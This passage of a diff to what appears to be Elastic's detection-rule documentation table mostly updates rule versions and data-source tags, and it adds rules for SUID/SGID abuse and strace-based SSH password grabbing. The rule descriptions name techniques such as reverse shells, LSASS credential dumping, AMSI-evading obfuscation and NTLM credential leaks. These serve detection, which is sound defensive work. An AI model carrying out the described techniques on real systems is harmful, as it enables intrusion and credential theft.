365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |416 |<> |Identifies the creation of a suspicious zip file prepended with special characters. Sandboxed Microsoft Office applications on macOS are allowed to write files that start with special characters, which can be combined with an AutoStart location to achieve sandbox evasion. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |110 @@ -1818,7 +1822,7 @@ and their rule type is `machine_learning`. |<> |Identifies port monitor and print processor registry modifications. Adversaries may abuse port monitor and print processors to run malicious DLLs during system boot that will be executed as SYSTEM for privilege escalation and/or persistence, if permissions allow writing a fully-qualified pathname for that DLL. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Microsoft Defender for Endpoint], [Resources: Investigation Guide] |None |111 -|<> |This rule detects potential port scanning activity from a compromised host. Port scanning is a common reconnaissance technique used by attackers to identify open ports and services on a target system. A compromised host may exhibit port scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable services, or prepare for further exploitation. This rule identifies potential port scanning activity by monitoring network connection attempts from a single host to a large number of ports within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |7 +|<> |This rule detects potential port scanning activity from a compromised host. Port scanning is a common reconnaissance technique used by attackers to identify open ports and services on a target system. A compromised host may exhibit port scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable services, or prepare for further exploitation. This rule identifies potential port scanning activity by monitoring network connection attempts from a single host to a large number of ports within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |9 |<> |Detects known PowerShell offensive tooling author's name in PowerShell scripts. Attackers commonly use out-of-the-box offensive tools without modifying the code, which may still contain the author artifacts. This rule identifies common author handles found in popular PowerShell scripts used for red team exercises. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |108 @@ -1826,25 +1830,25 @@ and their rule type is `machine_learning`. |<> |Identifies scripts that contain patterns and known methods that obfuscate PowerShell code. Attackers can use obfuscation techniques to bypass PowerShell security protections such as Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |107 -|<> |Identifies PowerShell scripts that use backtick-escaped characters inside ${} variable expansion as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |3 +|<> |Identifies PowerShell scripts that use backtick-escaped characters inside ${} variable expansion as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |5 -|<> |Identifies PowerShell scripts that use character arrays and runtime string reconstruction as a form of obfuscation. This technique breaks strings into individual characters, often using constructs like char[] with index-based access or joining logic. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |3 +|<> |Identifies PowerShell scripts that use character arrays and runtime string reconstruction as a form of obfuscation. This technique breaks strings into individual characters, often using constructs like char[] with index-based access or joining logic. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |5 -|<> |Identifies PowerShell scripts that use concatenated strings within dynamic command invocation (&() or .()) as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |3 +|<> |Identifies PowerShell scripts that use concatenated strings within dynamic command invocation (&() or .()) as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |5 -|<> |Identifies PowerShell scripts with a disproportionately high number of numeric characters, often indicating the presence of obfuscated or encoded payloads. This behavior is typical of obfuscation methods involving byte arrays, character code manipulation, or embedded encoded strings used to deliver and execute malicious content. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |5 +|<> |Identifies PowerShell scripts with a disproportionately high number of numeric characters, often indicating the presence of obfuscated or encoded payloads. This behavior is typical of obfuscation methods involving byte arrays, character code manipulation, or embedded encoded strings used to deliver and execute malicious content. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |7 -|<> |Identifies PowerShell scripts with an abnormally high proportion of non-alphanumeric characters, often resulting from encoding, string mangling, or dynamic code generation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Rule Type: BBR] |None |3 +|<> |Identifies PowerShell scripts with an abnormally high proportion of non-alphanumeric characters, often resulting from encoding, string mangling, or dynamic code generation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Rule Type: BBR] |None |5 -|<> |Identifies PowerShell scripts that use invalid escape sequences as a form of obfuscation. This technique introduces backticks (`) between characters in a way that does not correspond to valid PowerShell escape sequences, breaking up strings and bypassing pattern-based detections while preserving execution logic. This is designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |5 +|<> |Identifies PowerShell scripts that use invalid escape sequences as a form of obfuscation. This technique introduces backticks (`) between characters in a way that does not correspond to valid PowerShell escape sequences, breaking up strings and bypassing pattern-based detections while preserving execution logic. This is designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |7 -|<> |Identifies PowerShell scripts that use reversed strings as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |4 +|<> |Identifies PowerShell scripts that use reversed strings as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |6 -|<> |Identifies PowerShell scripts with an unusually high proportion of whitespace and special characters, often indicative of obfuscation. This behavior is commonly associated with techniques such as SecureString encoding, formatting obfuscation, or character-level manipulation designed to bypass static analysis and AMSI inspection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |4 +|<> |Identifies PowerShell scripts with an unusually high proportion of whitespace and special characters, often indicative of obfuscation. This behavior is commonly associated with techniques such as SecureString encoding, formatting obfuscation, or character-level manipulation designed to bypass static analysis and AMSI inspection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |6 -|<> |Identifies PowerShell scripts that use string concatenation as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |4 +|<> |Identifies PowerShell scripts that use string concatenation as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |6 -|<> |Identifies PowerShell scripts that use string reordering and runtime reconstruction techniques as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |6 +|<> |Identifies PowerShell scripts that use string reordering and runtime reconstruction techniques as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |8 |<> |Detects PowerShell scripts that can execute pass-the-hash (PtH) attacks, intercept and relay NTLM challenges, and carry out other man-in-the-middle (MitM) attacks. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: PowerShell Logs] |None |107 @@ -1852,7 +1856,7 @@ and their rule type is `machine_learning`. |<> |Identifies the use of sqlite3 to directly modify the Transparency, Consent, and Control (TCC) SQLite database. This may indicate an attempt to bypass macOS privacy controls, including access to sensitive resources like the system camera, microphone, address book, and calendar. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |112 -|<> |This rule monitors for the usage of Docker runtime sockets to escalate privileges on Linux systems. Docker sockets by default are only be writable by the root user and docker group. Attackers that have permissions to write to these sockets may be able to create and run a container that allows them to escalate privileges and gain further access onto the host file system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Domain: Container], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |9 +|<> |This rule monitors for the usage of Docker runtime sockets to escalate privileges on Linux systems. Docker sockets by default are only be writable by the root user and docker group. Attackers that have permissions to write to these sockets may be able to create and run a container that allows them to escalate privileges and gain further access onto the host file system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Domain: Container], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |10 |<> |This rule detects potential privilege escalation attempts through Looney Tunables (CVE-2023-4911). Looney Tunables is a buffer overflow vulnerability in GNU C Library's dynamic loader's processing of the GLIBC_TUNABLES environment variable. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Vulnerability], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 @@ -1872,6 +1876,8 @@ and their rule type is `machine_learning`. |<> |This rule monitors a sequence involving a program compilation event followed by its execution and a subsequent alteration of UID permissions to root privileges. This behavior can potentially indicate the execution of a kernel or software privilege escalation exploit. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Vulnerability], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 +|<> |Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Persistence], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |1 + |<> |Identifies registry modifications to default services that could enable privilege escalation to SYSTEM. Attackers with privileges from groups like Server Operators may change the ImagePath of services to executables under their control or to execute commands. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Crowdstrike], [Resources: Investigation Guide], [Data Source: SentinelOne], [Data Source: Microsoft Defender for Endpoint], [Data Source: Elastic Endgame] |None |107 |<> |A sudoers file specifies the commands users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. |[Domain: Endpoint], [OS: Linux], [OS: macOS], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |107 @@ -1896,7 +1902,7 @@ and their rule type is `machine_learning`. |<> |Identifies known execution traces of the REMCOS Remote Access Trojan. Remcos RAT is used by attackers to perform actions on infected machines remotely. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Command and Control], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Microsoft Defender for Endpoint], [Data Source: Windows Security Event Logs] |None |1 -|<> |This rule identifies the creation of multiple files with same name and over SMB by the same user. This behavior may indicate the successful remote execution of a ransomware dropping file notes to different folders. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide], [Data Source: Elastic Defend] |None |211 +|<> |This rule identifies the creation of multiple files with same name and over SMB by the same user. This behavior may indicate the successful remote execution of a ransomware dropping file notes to different folders. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide], [Data Source: Elastic Defend] |None |213 |<> |Identifies an incoming SMB connection followed by the creation of a file with a name similar to ransomware note files. This may indicate a remote ransomware attack via the SMB protocol. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide], [Data Source: Elastic Defend] |None |6 @@ -1930,6 +1936,8 @@ and their rule type is `machine_learning`. |<> |This detection rule identifies suspicious network traffic patterns associated with UDP reverse shell activity. This activity consists of a sample of an execve, socket and connect syscall executed by the same process, where the auditd.data.a0-1 indicate a UDP connection, ending with an egress connection event. An attacker may establish a Linux UDP reverse shell to bypass traditional firewall restrictions and gain remote access to a target system covertly. |[Data Source: Auditd Manager], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |10 +|<> |Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Credential Access], [Data Source: Elastic Defend] |None |1 + |<> |Identifies processes that are capable of downloading files with command line arguments containing URLs to SSH-IT's autonomous SSH worm. This worm intercepts outgoing SSH connections every time a user uses ssh. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |107 |<> |This rule identifies a potential SYN-Based port scan. A SYN port scan is a technique employed by attackers to scan a target network for open ports by sending SYN packets to multiple ports and observing the response. Attackers use this method to identify potential entry points or services that may be vulnerable to exploitation, allowing them to launch targeted attacks or gain unauthorized access to the system or network, compromising its security and potentially leading to data breaches or further malicious activities. This rule defines a threshold-based approach to detect connection attempts from a single source to a large number of unique destination ports, while limiting the number of packets per port. |[Domain: Network], [Tactic: Discovery], [Tactic: Reconnaissance], [Use Case: Network Security Monitoring], [Data Source: PAN-OS], [Resources: Investigation Guide] |None |13 @@ -1942,9 +1950,9 @@ and their rule type is `machine_learning`. |<> |Identifies potential behavior of SharpRDP, which is a tool that can be used to perform authenticated command execution against a remote target via Remote Desktop Protocol (RDP) for the purposes of lateral movement. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |111 -|<> |This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |110 +|<> |This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |111 -|<> |This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |6 +|<> |This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 |<> |An FTP (file transfer protocol) brute force attack is a method where an attacker systematically tries different combinations of usernames and passwords to gain unauthorized access to an FTP server, and if successful, the impact can include unauthorized data access, manipulation, or theft, compromising the security and integrity of the server and potentially exposing sensitive information. This rule identifies multiple consecutive authentication failures targeting a specific user account from the same source address and within a short time interval, followed by a successful authentication. |[Data Source: Auditd Manager], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |10 @@ -1980,7 +1988,7 @@ and their rule type is `machine_learning`. |<> |Identifies the creation of ASPX files in specific directories that are commonly targeted by attackers to deploy web shells. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |1 -|<> |This rule uses alert data to determine when a malware signature is triggered in multiple hosts. Analysts can use this to prioritize triage and response, as this can potentially indicate a widespread malware infection. |[Domain: Endpoint], [Data Source: Elastic Defend], [Use Case: Threat Detection], [Tactic: Execution], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide] |None |4 +|<> |This rule uses alert data to determine when a malware signature is triggered in multiple hosts. Analysts can use this to prioritize triage and response, as this can potentially indicate a widespread malware infection. |[Domain: Endpoint], [Data Source: Elastic Defend], [Use Case: Threat Detection], [Tactic: Execution], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide] |None |6 |<> |Identifies suspicious instances of the Windows Error Reporting process (WerFault.exe or Wermgr.exe) with matching command-line and process executable values performing outgoing network connections. This may be indicative of a masquerading attempt to evade suspicious child process behavior detections. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon] |None |214 @@ -2008,7 +2016,7 @@ and their rule type is `machine_learning`. |<> |This rule detects PowerShell scripts capable of dumping process memory using WindowsErrorReporting or Dbghelp.dll MiniDumpWriteDump. Attackers can use this tooling to dump LSASS and get access to credentials. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide], [Data Source: PowerShell Logs] |None |212 -|<> |Identifies PowerShell scripts that use negative index ranges to reverse the contents of a string or array at runtime as a form of obfuscation. This technique avoids direct use of reversal functions by iterating through array elements in reverse order. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |3 +|<> |Identifies PowerShell scripts that use negative index ranges to reverse the contents of a string or array at runtime as a form of obfuscation. This technique avoids direct use of reversal functions by iterating through array elements in reverse order. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |5 |<> |Detects the use of PSReflect in PowerShell scripts. Attackers leverage PSReflect as a library that enables PowerShell to access win32 API functions. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: PowerShell Logs] |None |316 @@ -2046,7 +2054,7 @@ and their rule type is `machine_learning`. |<> |Detects PowerShell scripts that can take screenshots, which is a common feature in post-exploitation kits and remote access tools (RATs). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Collection], [Resources: Investigation Guide], [Data Source: PowerShell Logs] |None |212 -|<> |This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process through the default printer user (lp). These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Use Case: Vulnerability], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |7 +|<> |This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process through the default printer user (lp). These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Use Case: Vulnerability], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |8 |<> |This rule detects private key searching activity on Linux systems. Searching for private keys can be an indication of an attacker attempting to escalate privileges or exfiltrate sensitive information. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105 @@ -2154,7 +2162,7 @@ and their rule type is `machine_learning`. |<> |A machine learning job detected an unusual error in a CloudTrail message. These can be byproducts of attempted or successful persistence, privilege escalation, defense evasion, discovery, lateral movement, or collection. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Rule Type: ML], [Rule Type: Machine Learning], [Resources: Investigation Guide] |None |211 -|<> |Identifies rare connection attempts to a Web Distributed Authoring and Versioning (WebDAV) resource. Attackers may inject WebDAV paths in files or features opened by a victim user to leak their NTLM credentials via forced authentication. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |2 +|<> |Identifies rare connection attempts to a Web Distributed Authoring and Versioning (WebDAV) resource. Attackers may inject WebDAV paths in files or features opened by a victim user to leak their NTLM credentials via forced authentication. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |4 |<> |This rule detects rare internet network connections via the SMB protocol. SMB is commonly used to leak NTLM credentials via rogue UNC path injection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Exfiltration], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |211 @@ -2404,7 +2412,7 @@ and their rule type is `machine_learning`. |<> |Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 -|<> |Detects suspicious process events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |108 +|<> |Detects suspicious process events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |109 |<> |Detects suspicious network events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Command and Control], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 @@ -2484,7 +2492,9 @@ and their rule type is `machine_learning`. |<> |Identifies suspicious processes being spawned by the JetBrain TeamCity process. This activity could be related to JetBrains remote code execution vulnerabilities. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Initial Access], [Data Source: Elastic Endgame], [Use Case: Vulnerability], [Data Source: Elastic Defend], [Data Source: Microsoft Defender for Endpoint], [Data Source: Windows Security Event Logs], [Data Source: Sysmon], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |207 -|<> |This rule detects the modification and reading of kernel features through built-in commands. Attackers may collect information, disable or weaken Linux kernel protections. For example, an attacker may modify ASLR protection by disabling kernel.randomize_va_space, allow ptrace by setting kernel.yama.ptrace_scope to 0, or disable the NMI watchdog by setting kernel.nmi_watchdog to 0. These changes may be used to impair defenses and evade detection. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 +|<> |Correlates network connections to the standard Kerberos port by an unusual process from the source machine with a Kerberos authentication ticket request from the target domain controller. |[Domain: Endpoint], [Domain: Identity], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Lateral Movement], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Windows Security Event Logs], [Resources: Investigation 